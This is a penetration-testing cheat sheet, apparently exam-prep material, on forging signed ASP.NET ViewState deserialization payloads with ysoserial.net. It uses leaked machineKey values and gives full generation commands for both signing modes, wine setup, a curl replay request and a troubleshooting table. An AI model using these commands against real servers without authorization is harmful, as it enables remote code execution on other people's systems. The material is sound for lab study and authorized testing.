PWN^:Exploitation

ysoserial.net

Generate signed ASP.NET ViewState payloads with the correct framework mode and machineKey settings, then submit them without double URL encoding.

advancedupdated 2026-10-13ysoserial.net · wine · mono

ysoserial.net

ysoserial.net creates .NET deserialization payloads. Its ViewState plugin can sign and, where required, encrypt a payload using disclosed ASP.NET machineKey material. The application must actually deserialize a compatible ViewState format; possession of keys alone is not proof of code execution.

1. Gather the exact inputs

InputWhere to obtain it
validationKey and validation algorithmApplication configuration disclosure
decryptionKey and decryption algorithmConfiguration, when encrypted ViewState requires them
Page and application pathsThe real ASP.NET route and application root
__VIEWSTATEGENERATORPage response; relevant to the plugin’s legacy mode
ViewStateUserKeyApplication/session logic if a per-user MAC key is set
Cookies and other form fieldsA successful baseline request captured from the browser

A decryption key existing in web.config does not prove this page encrypts ViewState. Also keep __EVENTVALIDATION, split ViewState fields and session cookies when the page needs them.

2. Choose one framework mode

The ViewState plugin has two mutually exclusive signing modes. Pick one and supply only its flags — mixing them silently discards half your input. Start by reading the options on your build:

.\ysoserial.exe -p ViewState --help

Do not assume every gadget works under Mono or every target loads the required assemblies.

Modern path-based mode

The MAC covers the request path, so --path and --apppath must match the real route. Replace the key, algorithms and paths with observed values. A small output file proves execution without adding a reverse-shell dependency.

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate `
  -c "whoami > C:\Windows\Temp\viewstate-proof.txt" `
  --validationalg="HMACSHA256" --validationkey="<validation-key-hex>" `
  --path="/app/default.aspx" --apppath="/app/" `
  --showraw

The gadget is an example, not a compatibility guarantee. Select a supported gadget for the target’s assemblies/framework.

Legacy generator mode

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate `
  -c "whoami > C:\Windows\Temp\viewstate-proof.txt" `
  --validationalg="SHA1" --validationkey="<validation-key-hex>" `
  --generator="A8B3C4D5" --showraw

In this plugin, supplying --generator selects legacy behaviour and causes --path / --apppath to be ignored. Do not combine the two recipes assuming all options contribute to the MAC.

If encryption is required, add --decryptionalg="AES" --decryptionkey="<key-hex>" with the observed algorithm/key. If a per-user key is known, use --viewstateuserkey="<exact-value>"; the generator does not supply that value.

3. Generating from a Linux box

ysoserial.net is a .NET Framework binary — it wants mscorlib and the Windows GAC, not modern cross-platform .NET. A Windows host is the path of least resistance. Failing that, the generated payload is just a string, bound to the target’s keys and request path, not to the machine that built it, so you can build it anywhere and paste it into Burp on the attack box.

Under wine, the same invocation works with wine in front:

nix shell nixpkgs#wineWow64Packages.stable   # Wow = 32- and 64-bit; plain wine rejects the 32-bit exe
export WINEPREFIX=~/.wine-ysoserial WINEDEBUG=-all
wineboot --init                            # first run only, slow

wine ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  --path="/portfolio/default.aspx" \
  --decryptionalg="AES" --decryptionkey="<decryption-key-hex>" \
  --validationalg="SHA1" --validationkey="<validation-key-hex>" \
  -c "ping 10.10.14.6"

Two failure modes are worth recognising immediately rather than debugging:

SymptomCause / fix
wine: Bad EXE format for ...ysoserial.exe32-bit exe under 64-bit-only wine. Use wineWow64Packages.stable, not wine.
.NET stack trace naming mscorlib / assembly loadGadget needs Framework internals wine lacks. Rotate -g, or move to Mono / a Windows box.
Prints the payload but the target rejects itNot a wine problem — check --path, the algorithms and keys, and double URL-encoding (see below).

The Mono-container route, prefix management and the NixOS specifics are on the Windows .NET tooling on wine sheet.

4. Encode once and replay the request

The plugin URL-encodes its output by default. --showraw emits raw base64, which is the form accepted by curl --data-urlencode. Save only that final base64 line in viewstate.txt, without debug output or labels.

curl -i 'http://app.domain.htb/app/default.aspx' \
  -b session.cookies \
  --data-urlencode '__VIEWSTATE@viewstate.txt' \
  --data-urlencode '__EVENTVALIDATION=<value-from-baseline>'

Include __VIEWSTATEGENERATOR or other fields if the actual request contains them. When using the default URL-encoded plugin output in a raw form request, do not URL-encode it again: %2B becoming %252B corrupts the payload.

5. Success and failure interpretation

Success: retrieve the agreed proof file through the existing access path and verify the application identity. An HTTP 500 can occur after execution; an HTTP 200 can occur without it. Use independent execution evidence rather than the status code alone.

SymptomCheck
MAC validation errorKey, algorithm, path mode, user key and session
Base64/format errorDouble encoding, copied labels, split fields
Valid state but no executionGadget dependencies and deserialization path
Command fails after deserializationApp-pool permissions, executable path and command quoting

Remove the proof file and document the affected route and identity. Keep leaked keys out of published evidence.

See Also

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.